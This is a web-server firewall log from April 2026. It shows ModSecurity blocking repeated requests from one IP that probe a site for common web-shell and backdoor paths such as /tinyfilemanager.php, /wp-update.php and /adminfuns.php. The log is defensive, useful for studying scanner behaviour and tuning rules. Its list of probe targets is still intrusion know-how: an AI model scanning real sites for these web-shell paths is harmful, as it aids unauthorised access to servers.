[Thu Apr 09 18:34:45.423300 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:65197] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adeAxTXObuzEuw8mNJv0bgAAAQ8"]
[Thu Apr 09 18:34:46.107189 2026] [:error] [pid 18477:tid 18486] [client 20.215.65.153:64700] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adeAxsDe826HlFeoLPJ6LgAAAUc"]
[Thu Apr 09 18:34:46.768100 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:63241] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adeAxsDe826HlFeoLPJ6MQAAAUk"]
[Thu Apr 09 18:34:47.351543 2026] [:error] [pid 24516:tid 24552] [client 20.215.65.153:62615] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "adeAx9hW7vSS-UkeWCUfNAAAAEU"]
[Thu Apr 09 18:34:47.937141 2026] [:error] [pid 24624:tid 24640] [client 20.215.65.153:63965] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adeAx-4Jn-WvK1ZBTvi4PQAAAM4"]
[Thu Apr 09 18:34:48.620453 2026] [:error] [pid 24927:tid 24935] [client 20.215.65.153:65131] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adeAyDXObuzEuw8mNJv0cAAAAQU"]
[Thu Apr 09 18:34:50.152666 2026] [:error] [pid 24927:tid 24941] [client 20.215.65.153:64631] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adeAyjXObuzEuw8mNJv0dQAAAQs"]
[Thu Apr 09 18:34:50.809357 2026] [:error] [pid 20837:tid 20852] [client 20.215.65.153:65164] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "adeAyvSL71FHZkjrGzPLUgAAAY0"]
[Thu Apr 09 18:34:51.405813 2026] [:error] [pid 24927:tid 24949] [client 20.215.65.153:65214] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adeAyzXObuzEuw8mNJv0dwAAARM"]
[Thu Apr 09 18:34:51.996834 2026] [:error] [pid 24515:tid 24526] [client 20.215.65.153:60382] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "adeAy61OMnvM2fMnB1N8QwAAAAc"]
[Thu Apr 09 18:34:59.793071 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:63981] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adeA08De826HlFeoLPJ6YAAAAUU"]
[Thu Apr 09 18:35:00.375697 2026] [:error] [pid 20837:tid 20839] [client 20.215.65.153:64592] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adeA1PSL71FHZkjrGzPLWAAAAYA"]
[Thu Apr 09 18:35:01.041775 2026] [:error] [pid 24515:tid 24539] [client 20.215.65.153:64051] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adeA1a1OMnvM2fMnB1N8RgAAABQ"]
[Thu Apr 09 18:35:01.607417 2026] [:error] [pid 24927:tid 24940] [client 20.215.65.153:64645] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "adeA1TXObuzEuw8mNJv0hwAAAQo"]
[Thu Apr 09 18:35:02.171497 2026] [:error] [pid 24516:tid 24563] [client 20.215.65.153:63945] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adeA1thW7vSS-UkeWCUfNQAAAFA"]
[Thu Apr 09 18:35:02.703299 2026] [:error] [pid 24515:tid 24537] [client 20.215.65.153:63975] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adeA1q1OMnvM2fMnB1N8SgAAABI"]
[Thu Apr 09 18:35:03.269512 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:64580] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adeA18De826HlFeoLPJ6ZQAAAUk"]
[Thu Apr 09 18:35:04.015612 2026] [:error] [pid 18477:tid 18500] [client 20.215.65.153:62689] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adeA2MDe826HlFeoLPJ6ZgAAAVU"]
[Thu Apr 09 18:35:04.593419 2026] [:error] [pid 18477:tid 18493] [client 20.215.65.153:65173] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adeA2MDe826HlFeoLPJ6aQAAAU4"]
[Thu Apr 09 18:35:05.230818 2026] [:error] [pid 24515:tid 24538] [client 20.215.65.153:65103] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adeA2a1OMnvM2fMnB1N8TAAAABM"]
[Thu Apr 09 18:35:05.747700 2026] [:error] [pid 24927:tid 24930] [client 20.215.65.153:65209] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adeA2TXObuzEuw8mNJv0iQAAAQA"]
[Thu Apr 09 18:35:06.313977 2026] [:error] [pid 24515:tid 24528] [client 20.215.65.153:63971] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-update.php"] [unique_id "adeA2q1OMnvM2fMnB1N8TQAAAAk"]
[Thu Apr 09 18:35:06.824847 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:60412] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adeA2sDe826HlFeoLPJ6bAAAAUU"]
[Thu Apr 09 18:35:07.421027 2026] [:error] [pid 24927:tid 24937] [client 20.215.65.153:63284] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adeA2zXObuzEuw8mNJv0kgAAAQc"]
[Thu Apr 09 18:35:08.062679 2026] [:error] [pid 24927:tid 24946] [client 20.215.65.153:65114] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adeA3DXObuzEuw8mNJv0lQAAARA"]
[Thu Apr 09 18:35:08.634030 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:60355] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "adeA3MDe826HlFeoLPJ6cAAAAUk"]
[Thu Apr 09 18:35:09.456850 2026] [:error] [pid 24515:tid 24531] [client 20.215.65.153:65158] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adeA3a1OMnvM2fMnB1N8TgAAAAw"]
[Thu Apr 09 18:35:10.088344 2026] [:error] [pid 18477:tid 18502] [client 20.215.65.153:62605] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adeA3sDe826HlFeoLPJ6cwAAAVc"]
[Thu Apr 09 18:35:10.701872 2026] [:error] [pid 24515:tid 24536] [client 20.215.65.153:64607] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adeA3q1OMnvM2fMnB1N8TwAAABE"]
[Thu Apr 09 18:35:11.323453 2026] [:error] [pid 18477:tid 18482] [client 20.215.65.153:65098] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "adeA38De826HlFeoLPJ6dAAAAUM"]
[Thu Apr 09 18:35:11.958105 2026] [:error] [pid 24515:tid 24541] [client 20.215.65.153:63944] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adeA361OMnvM2fMnB1N8UQAAABY"]
[Thu Apr 09 18:35:12.540981 2026] [:error] [pid 18477:tid 18489] [client 20.215.65.153:65193] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adeA4MDe826HlFeoLPJ6egAAAUo"]
[Thu Apr 09 18:35:13.180668 2026] [:error] [pid 24927:tid 24949] [client 20.215.65.153:63964] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adeA4TXObuzEuw8mNJv0mgAAARM"]
[Thu Apr 09 18:35:13.993626 2026] [:error] [pid 24515:tid 24523] [client 20.215.65.153:65157] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "adeA4a1OMnvM2fMnB1N8UgAAAAQ"]
[Thu Apr 09 18:35:14.533092 2026] [:error] [pid 24515:tid 24532] [client 20.215.65.153:63957] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adeA4q1OMnvM2fMnB1N8WAAAAA0"]
[Thu Apr 09 18:35:15.177569 2026] [:error] [pid 20837:tid 20852] [client 20.215.65.153:64035] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adeA4_SL71FHZkjrGzPLYwAAAY0"]
[Thu Apr 09 18:35:15.782306 2026] [:error] [pid 20837:tid 20862] [client 20.215.65.153:64687] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adeA4_SL71FHZkjrGzPLZAAAAZc"]
[Thu Apr 09 18:35:16.470628 2026] [:error] [pid 24516:tid 24558] [client 20.215.65.153:62711] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "adeA5NhW7vSS-UkeWCUfNgAAAEs"]
[Thu Apr 09 18:35:17.517247 2026] [:error] [pid 18477:tid 18479] [client 20.215.65.153:62704] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adeA5cDe826HlFeoLPJ6gAAAAUA"]
[Thu Apr 09 18:35:18.183471 2026] [:error] [pid 24516:tid 24571] [client 20.215.65.153:63277] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adeA5thW7vSS-UkeWCUfNwAAAFg"]
[Thu Apr 09 18:35:18.869955 2026] [:error] [pid 24927:tid 24943] [client 20.215.65.153:63245] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adeA5jXObuzEuw8mNJv0nwAAAQ0"]
[Thu Apr 09 18:35:19.469407 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:62713] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adeA5zXObuzEuw8mNJv0oQAAAQI"]
[Thu Apr 09 18:35:21.012321 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:65199] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adeA6cDe826HlFeoLPJ6jwAAAUU"]
[Thu Apr 09 18:35:21.612771 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:64576] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adeA6cDe826HlFeoLPJ6kwAAAUk"]
[Thu Apr 09 18:35:22.288560 2026] [:error] [pid 24516:tid 24547] [client 20.215.65.153:64602] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adeA6thW7vSS-UkeWCUfOAAAAEA"]
[Thu Apr 09 18:35:24.093993 2026] [:error] [pid 24927:tid 24950] [client 20.215.65.153:64619] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "adeA7DXObuzEuw8mNJv0pgAAARQ"]
[Thu Apr 09 18:35:24.720342 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:65166] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adeA7DXObuzEuw8mNJv0uAAAAQQ"]
[Thu Apr 09 18:35:25.560104 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:62703] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adeA7TXObuzEuw8mNJv0uwAAAQw"]
[Thu Apr 09 18:35:26.232242 2026] [:error] [pid 24624:tid 24637] [client 20.215.65.153:64695] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adeA7u4Jn-WvK1ZBTvi4VgAAAMs"]
[Thu Apr 09 18:35:26.966857 2026] [:error] [pid 18477:tid 18489] [client 20.215.65.153:65167] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "adeA7sDe826HlFeoLPJ6mgAAAUo"]
[Thu Apr 09 18:35:27.560954 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:64678] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adeA78De826HlFeoLPJ6nQAAAUk"]
[Thu Apr 09 18:35:28.116033 2026] [:error] [pid 18477:tid 18485] [client 20.215.65.153:63959] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adeA8MDe826HlFeoLPJ6oQAAAUY"]
[Thu Apr 09 18:35:28.681279 2026] [:error] [pid 24927:tid 24941] [client 20.215.65.153:65207] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adeA8DXObuzEuw8mNJv0wQAAAQs"]
[Thu Apr 09 18:35:29.617401 2026] [:error] [pid 24516:tid 24550] [client 20.215.65.153:64578] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "adeA8dhW7vSS-UkeWCUfPAAAAEM"]
[Thu Apr 09 18:35:30.194560 2026] [:error] [pid 24927:tid 24934] [client 20.215.65.153:64699] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "adeA8jXObuzEuw8mNJv0yAAAAQQ"]
